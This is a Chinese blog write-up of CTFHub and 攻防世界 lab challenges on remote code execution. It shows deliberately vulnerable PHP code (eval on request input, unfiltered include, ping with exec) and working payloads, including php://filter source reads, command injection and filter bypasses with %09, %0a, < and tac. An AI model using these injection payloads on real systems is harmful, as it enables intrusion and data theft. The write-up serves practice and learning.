【CTFHub】RCE

目录

eval执行

文件包含 

         strpos漏洞

php://input

读取源代码

​ 远程包含

 命令注入

命令注入-过滤cat 

命令注入-过滤空格 

【攻防世界】web新手区 command_execution

 过滤目录分隔符

过滤运算符

 综合过滤练习


eval执行

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

先查看下目录

/?cmd=system('ls');

 

看来这一级啥都没有,那我们看看上一级文件夹

/?cmd=system('ls /');

 打开flag,注意打开的是下一级

/?cmd=system('cat /flag_30311');

文件包含 

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

点开shell

strpos漏洞

  • strpos — 查找字符串首次出现的位置 
  • strpos 函数返回查找到的子字符串的下标。如果字符串开头就是我们要搜索的目标,则返回下标 0 ;如果搜索不到,则返回 false 

request = post + get

查看根目录

 

index.php shell.txt 

那我们查看上一级目录 

 bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

查看那一级的flag 

php://input

php:// — 访问各个输入/输出流
php://input 是个可以访问请求的原始数据的只读流.
可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。 

  

先进行抓包

 本级目录没有,查看上一级目录

查看就行了

读取源代码

 

看题目,发现不能用input了

/?file=php://filter/read=convert.base64-encode/resource=/flag

远程包含

还是一样

 

 命令注入

先输入127.0.0.1试试,有回显

查看下目录

 

打开这个文件,却发现打不开

 

新学一种方法

应该是文件中包含特殊字符,使用管道运行base64加密内容 

127.0.0.1 & cat *.php | base64

 

解码出flag

命令注入-过滤cat 

127.0.0.1 & tac *.php | base64

命令注入-过滤空格 

空格用/**/代替

  

 也可以127.0.0.1|ls

空格用<代替 

127.0.0.1|cat<flag_32332039011989.php|base64

解码得到flag

掌握有关命令执行的知识 windows 或 linux 下:

command1 && command2 先执行 command1,如果为真,再执行 command2

command1 | command2 只执行 command2

command1 & command2 先执行 command2 后执行 command1

command1 || command2 先执行 command1,如果为假,再执行 command2 

【攻防世界】web新手区 command_execution

先输入一个127.0.0.1看回显

127.0.0.1 && ls 看目录

 直接捕获flag试试

查看这个文件,出flag

注意:cat和目录之间有空格 

 过滤目录分隔符

127.0.0.1|ls

 

127.0.0.1;cd flag_is_here;ls

 

127.0.0.1;cd flag_is_here;tac flag_210667739624.php|base64

 解码即可

过滤运算符

我用;

过滤了管道符|,不能再使用了
base64 1.php 与****|base64是等价的

12.0.0.1 ; base64 flag_27475302269053.php

 解码即可

 综合过滤练习

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

前面的全都过滤

空格用%09代替
flag用f***
cat用tac
linux下 命令分隔符除了;还有%0a

因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码 

?ip=127.0.0.1%0acd%09f***_is_here%0als#

 

?ip=127.0.0.1%0acd%09f***_is_here%0abase64%09*.php#

 解码即可

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值